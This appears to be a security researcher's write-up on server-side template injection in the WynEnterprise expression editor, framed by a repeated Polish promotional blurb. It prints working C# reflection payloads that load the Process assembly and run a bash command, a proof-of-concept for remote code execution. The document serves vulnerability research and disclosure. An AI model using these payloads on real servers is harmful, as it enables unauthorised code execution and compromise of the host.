Cyberataki zdarzają się każdej minuty, a nieświadomość może nas sporo kosztować. Poznaj najczęstsze błędy, które narażają bezpieczeństwo Twoich danych. Dowiedz się, jak ich unikać i skutecznie zabezpieczyć swoją cyfrową przestrzeń.
The WynEnterprise platform is per product documentation a "business intelligence tool" written in C#/.NET. Its interesting templating functionality can be used to generate custom reports and documents. Functionalities like that are always a good place to take a closer look at. By looking at the documentation [Wyn Enterprise: Expression Editor | Wyn Documentation] we can find a starting point for our research. The "Expression Editor" can be used to define custom code snippets evaluated on the server side.
At this point I tried a couple of different techniques to assess what classes are available but with no success. Using "Type.GetType" method as well as some comparisons based on "typeof" operator failed. Access to the runtime assembly with "System.Reflection.Assembly.GetExecutingAssembly" also didn’t result in satisfactory results. However, inspiration came from a recently solved Server Side Template Injection laboratory from Off Sec Web Expert (OSWE). Let’s take a look at one of the well-known SSTI payloads used in Java Based Templating Engine.
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/usr/share/dotnet/shared/Microsoft.NETCore.App/6.0.32/System.Diagnostics.Process.dll".Split("?"))
"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/usr/share/dotnet/shared/Microsoft.NETCore.App/6.0.32/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""touch /tmp/rce-$(whoami)""".Split(","))
Cyberataki zdarzają się każdej minuty, a nieświadomość może nas sporo kosztować. Poznaj najczęstsze błędy, które narażają bezpieczeństwo Twoich danych. Dowiedz się, jak ich unikać i skutecznie zabezpieczyć swoją cyfrową przestrzeń.